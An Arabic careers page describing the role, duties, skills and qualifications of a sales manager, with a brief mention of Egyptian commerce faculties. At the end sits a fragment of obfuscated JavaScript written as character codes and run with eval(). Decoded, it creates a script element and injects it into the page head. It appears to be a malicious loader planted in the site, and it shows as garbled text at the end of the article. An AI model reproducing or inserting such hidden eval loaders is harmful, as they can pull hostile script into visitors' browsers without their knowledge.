مدير المبيعات

1.3K

الوصف الوظيفي: مدير مبيعات
مدير المبيعات هو الشخص الذي بدأ في شكل من أشكال دور المبيعات، مثل مسئول المبيعات، وتمت ترقيته إلى مستوى الإدارة الأولية.
إنه شخص يعرف كيف تعمل المبيعات وقرر الانتقال، أو طُلب منه الانتقال إلى دور إداري بدلاً من شخص انضم إلى المنظمة مباشرة من الكلية.
كما هو الحال مع أي مهنة مبيعات، يتضمن الدور تخطيط المبيعات والتحفيز وإدارة الأفراد والقيادة والدعم. في بعض الأدوار، ستحتاج إلى القيام ببعض العروض التقديمية والقدرة الفائقة على التنبؤ.

وظائف مدير المبيعات
هو بالنسبة لك؟
إذا كنت قائدًا جيدًا وقادرًا على التحفيز وتعرف شيئًا أو تعرف الكثير عن تحقيق أهداف المبيعات، فستكون في طريقك إلى أن تكون مدير مبيعات جيد. هناك أيضًا درجة كبيرة من التنظيم والتخطيط لأنك غالبًا ما تكون مسؤولاً عن توجيه فريق – أو قسم – من مديري المبيعات التنفيذيين (الممثلين) نحو تحقيق أهداف مبيعات الشركة المهمة للغاية. ستكون مسؤولًا أيضًا إذا لم تفعل ذلك.
بطبيعة الحال، يمكنك بيع أي شيء – من قطع غيار السيارات إلى التأمين؛ المنتجات الصيدلانية لأجهزة الكمبيوتر وعلى هذا النحو سيختلف الوصف الوظيفي الدقيق الخاص بك. خلاصة القول أنك ستحاول تحقيق الأهداف من خلال تطوير استراتيجيات المبيعات ثم تحفيز فريقك. ستقوم بتجميع وتحليل أرقام المبيعات وكذلك تقديم تقرير إلى كبار المديرين. هناك أيضًا مساحة كبيرة للخيال والمبادرة ويمكنك قطع شوط طويل من خلال التفكير في مقدمة منافسيك أو البحث عن فرص مبيعات جديدة.
عادةً ما تكون ساعات العمل ساعات عمل نموذجية، ولكن قد تقضي الكثير من الوقت في رؤية العملاء وحضور الاجتماعات والمعارض التجارية والمعارض والمؤتمرات لمواكبة أحدث التطورات في مجال عملك. وغني عن القول، يمكن أن يكون مرهقًا ولكن أيضًا مجزيًا ماليًا بشكل مباشر.

المؤهلات والمهارات
تلعب جميع أنواع المهارات دورًا كمدير مبيعات – نظرة جيدة للأرقام ومهارات التفاوض والفطنة التجارية العامة.
كما قلنا أعلاه، القيادة والتحفيز؛ مهارات التخطيط والتنظيم هي أقل ما تحتاج إليه. أضف إلى ذلك القدرة على العرض والإقناع والاطلاع على الاتجاهات الناشئة أو النامية وستذهب بعيدًا. تعد المهارات اللغوية مفيدة بشكل متزايد، وستكون شهادة BTEC HND ذات الصلة بالأعمال التجارية أو الدرجة العلمية مفيدة ولكن في هذه المهنة، سيكون سجلك وخبرتك أكثر أهمية على الإطلاق.
إذا كنت تتطلع إلى الدراسة، فإن التأهيل من معهد تشارترد للتسويق ومعهد إدارة المبيعات والتسويق (ISMM) وجمعية إدارة المبيعات والتسويق (MAMSA) هي ما تحتاجه. إذا كنت تتطلع إلى أن تكون متخصصًا في المبيعات، فإن الدرجات العلمية في مجالك ذي الصلة ستساعدك كثيرًا، مثل تكنولوجيا المعلومات والأدوية والهندسة وما إلى ذلك.
قوالب سيرة ذاتية مجانية

• الدراسة الاكاديمية
كليات التجارة بالجامعات المصرية الحكومية والخاصة

107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);